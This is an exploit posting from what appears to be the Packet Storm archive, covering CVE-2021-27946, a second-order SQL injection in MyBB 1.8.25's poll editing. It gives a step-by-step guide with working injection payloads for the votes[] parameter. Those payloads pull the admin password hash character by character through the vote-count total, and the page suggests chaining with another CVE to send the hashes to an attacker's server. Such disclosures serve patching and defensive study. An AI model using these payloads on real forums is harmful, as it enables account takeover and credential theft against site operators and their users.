exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB 1.8.25 SQL Injection

MyBB 1.8.25 SQL Injection
Posted Mar 23, 2021
Authored by SivertPL

MyBB version 1.8.25 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2021-27946
SHA-256 | 0119b2998f019b8c5412b0ca92b7781e14084a1c91c356608140589745767688

MyBB 1.8.25 SQL Injection

Change Mirror Download
# Exploit Title: MyBB 1.8.25 - Poll Vote Count SQL Injection
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 20.03.2021
# Description: Lack of sanitization in the "votes[]" parameter in "Edit Poll" causes a second-order semi-blind SQL Injection that is triggered when performing a "Move/Copy" operation on the thread.
# Sofware Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27946

References:

1) https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums
2) https://vuldb.com/?id.171307
3) https://github.com/mybb/mybb/commit/aa415f08bce01f95a8319b707bb18eb67833f4c1.patch

In order to trigger the vulnerability, you must have permission to edit polls.
Moderators and administrators can usually do it, but in some configurations regular users can do it as well.

In case you are a moderator, the vulnerability can be used as privilege escalation provided you crack the resulting salted hash.

Otherwise, you are free to use CVE-2021-27889 to impersonate the target moderator to trigger this SQL Injection from an external .js script which will perform the necessary
injections automatically, and send the resulting hashes to your server.

This is a pretty nasty vulnerability to exploit by hand (at least on regular, most common MySQL setup), but can be dangerous in the hands of
a very determined attacker who combines it with CVE-2021-27889 and an automated Javascript-Based SQL Injector.

This vulnerability might however allow for devastating execution of stacked queries when databases such as PostgreSQL or MS-SQL are used.
In such cases, the entire system is compromised as a result (an attacker can UPDATE the admin password and replace it with his own hash).

Guide:

1) Make a thread with a public poll, with multiple choices.

2) Vote on at least one choice.

3) Go to the "Edit poll" section of the poll.

4) Place the following payload in the "vote count" input (any entry within the votes[] parameter in the resulting POST request).

1','2',ascii((select version())),'0','0','1','1') -- -a

5) Save the poll.

6) Perform a "Move/Copy" operation on the thread, moving it to a different forum, or making a copy in the same forum.

This is where the SQL Injection is triggered, and you should see an SQL Error here if the payload is incorrect.

7) Go to the copied/moved version of the thread (you should be redirected there automatically).

8) Go to the "Show Results" section of the poll.

9) The total vote count under the poll is our 64 bit unsigned integer covert channel to retrieve information from the ascii select query.

Since this vulnerability is semi-blind, you can only retrieve the output of the SELECT query as an unsigned integer (hence we use ASCII()).
Other parameters in the INSERT query that we are injecting into are either too small, or unfeasible.
Unsigned integer provides enough space to extract required data when enough requests are made.

In this case, the number is the ASCII code of the first character of the result of the injected select version() query.
This way we can transfer the output through this covert channel, one character at a time.

In order to extract the admin hash, one has to either perform many requests (so it's best to automate it), or find a better way to convert a substring varchar to int.

1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 2, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 3, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 4, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 5, 1))),'0','0','1','1') -- -a

... etc.

This will send the ASCII codes of every char of the hashed password through the integer covert channel.


10) After sending enough requests, you should have the hashed admin password. Repeat the entire process to acquire the salt.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close